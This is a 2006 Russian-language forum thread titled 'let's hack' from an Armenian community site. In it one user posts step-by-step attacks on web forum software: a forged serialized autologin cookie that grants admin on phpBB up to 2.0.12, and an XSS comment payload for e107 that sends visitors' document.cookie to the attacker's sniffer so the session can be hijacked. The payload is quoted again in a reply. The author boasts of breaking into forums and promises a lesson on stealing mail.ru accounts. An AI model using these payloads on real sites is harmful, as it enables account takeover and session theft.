Forum Blogs VIP Armenia Community Chat All Albums

VIP Forums Muzblog Chat Games Gallery. Форум, муздневники, чат, игры, галлерея.

Press here to open menubar...User Control Panel WAP/Mobile forum Text Only FORUM RULES FAQ Calendar
Go Back   VIP Armenia Community > Forum > General Discussions > Science and Technology
Blogs Members List Social Groups Mark Forums Read Press here to open menubar...


Notices

Science and Technology Today it is science tomorrow it will be technique. (Edward Teller)

Reply
 

Хакаем(ломаем)

LinkBack Thread Tools Display Modes
Old 19 Dec 06, 03:53   #1 (permalink)
горец
VIP Extra Club
DAVid-hay's Avatar
Join Date: Dec 2006
Location: Севанское высокогорье
Posts: 1,587
Rep Power: 13 DAVid-hay is on a distinguished road
Send a message via ICQ to DAVid-hay
Хакаем(ломаем)

И так начну -)
phpBB прославилась своей простотой, удобностью в юзании, но и своими мега дырками. Начнем с ранних версей...
баг есть в версии вплоть до 2.0.12
(внимание нужен бразуер с возмоностью редактирования куки)
1 регистрируемся на форуме -)
2 логинимся(заходим) под своим login & pass
3 изменяем куки с стандартных, на следующие
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs% 3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
 
DAVid-hay is offline  
Reply With Quote
Old 19 Dec 06, 03:59   #2 (permalink)
горец
VIP Extra Club
DAVid-hay's Avatar
Join Date: Dec 2006
Location: Севанское высокогорье
Posts: 1,587
Rep Power: 13 DAVid-hay is on a distinguished road
Send a message via ICQ to DAVid-hay
e107 - не менее знаминитый движок(cms) , как известно у него свои дырки.
1 заходим под обычним юзером
2 добавляем в новости комент со следущим кодом(путь конечно нужо поменять на свой)
Code:
[img]img=new Image();img.src="http://localhost/sniff/s.gif?if=2&"+document.cookie;[/img]
3 идем в шнифер и смотрим что там у нас появлось.
4 подделвываем куки и все у нас права админа.

работает на всех версиях, где можно вставить комент с подобным кодом =)
 
DAVid-hay is offline  
Reply With Quote
Old 19 Dec 06, 19:10   #3 (permalink)
Sos mi vida ♡
VIP Ultra Club
PusSycat's Avatar
Join Date: Nov 2006
Location: Moscow
Age: 30
Posts: 29,922
Rep Power: 41 PusSycat is on a distinguished road
Ой, чему это вы нас учите, мы тут все законопослушные граждане
 
__________________
Для того, чтобы быть красивой, женщине достаточно иметь черный свитер, черную юбку и идти под руку с мужчиной, которого она любит.
PusSycat is offline  
Reply With Quote
Old 19 Dec 06, 21:55   #4 (permalink)
No Matter Who
VIP Ultra Club
Speechless's Avatar
Join Date: Nov 2006
Location: Big City
Age: 31
Posts: 20,519
Rep Power: 32 Speechless is on a distinguished road
Главное, написал как наш форум взломать))))

А ведь найдется умник, который испробует)))
 
__________________
Даже перед тем как открыть шкаф, сперва постучи.

Speechless is offline  
Reply With Quote
Old 19 Dec 06, 22:00   #5 (permalink)
Top VIP
VIP Ultra Club
Амиго's Avatar
Join Date: Nov 2006
Posts: 27,662
Rep Power: 39 Амиго is on a distinguished road
Send a message via ICQ to Амиго
Quote:
Originally Posted by DAVid-hay
e107 - не менее знаминитый движок(cms) , как известно у него свои дырки.
1 заходим под обычним юзером
2 добавляем в новости комент со следущим кодом(путь конечно нужо поменять на свой)
Code:
[img]img=new Image();img.src="http://localhost/sniff/s.gif?if=2&"+document.cookie;[/img]
3 идем в шнифер и смотрим что там у нас появлось.
4 подделвываем куки и все у нас права админа.

работает на всех версиях, где можно вставить комент с подобным кодом =)
может после взлома нормальный форум сделают:smile:
 
__________________
Бог мой, как велико созвездие храбрецов на небосклоне нашей истории.
И как ослепительно их сияние. Увенчаны все, у всех есть шрамы славы.
В зрачках у них молнии, гнев, горечь.
Не осталось, почти не осталось в мире рода, который бы не узнал силу нашей руки.
Г. Нждеh

Judica, Domine, nocentes me: expugna impugnantes me.
Confundantur et revereantur quaerentes animam meam.
Амиго is offline  
Reply With Quote
Old 19 Dec 06, 22:12   #6 (permalink)
горец
VIP Extra Club
DAVid-hay's Avatar
Join Date: Dec 2006
Location: Севанское высокогорье
Posts: 1,587
Rep Power: 13 DAVid-hay is on a distinguished road
Send a message via ICQ to DAVid-hay
Quote:
Originally Posted by Speechless
Главное, написал как наш форум взломать))))

А ведь найдется умник, который испробует)))
знаешь когда нашли дырку в phpbb до версии 2.0.12 все форумы с такой версией были снесены любителями -) знаешь довольно весело, я сам пару таких взломал...
Сегодня постараюсь сделать подробный урок, как угнать акууант с mail.ru -)
А этот форум кстати такими методами не взломаешь -)
 
DAVid-hay is offline  
Reply With Quote
Old 25 Dec 06, 22:57   #7 (permalink)
Areopagus member
VIP Ultra Club
Хулигано's Avatar
Join Date: Nov 2006
Location: Сам-АРА
Posts: 12,475
Rep Power: 24 Хулигано is on a distinguished road
Quote:
Originally Posted by DAVid-hay
А этот форум кстати такими методами не взломаешь -)

Ииии... почему раньше не сказал? пытаюсь-пытаюсь, никак не получается :angry: :smile:
 
__________________
Спасибо тем, кто меня любит - вы делаете меня лучше.
Спасибо тем, кто меня ненавидит - вы делаете меня сильнее.
Спасибо тем, кому вообще пофиг - вы нужны для массовки.









Хулигано is offline  
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off


 

All times are GMT +4. The time now is 22:00.

 v.0.91  v.1  v.2 XML Feeds JavaScript Feeds


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2018, vBulletin Solutions, Inc.



Liveinternet
User Control Panel
Networking Networking
Social Groups Social Groups
Pictures & Albums All Albums
What's up
Who's Online Who's Online
Top Statistics Top Statistics
Most Active Forumjans Most Active Forumjans

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60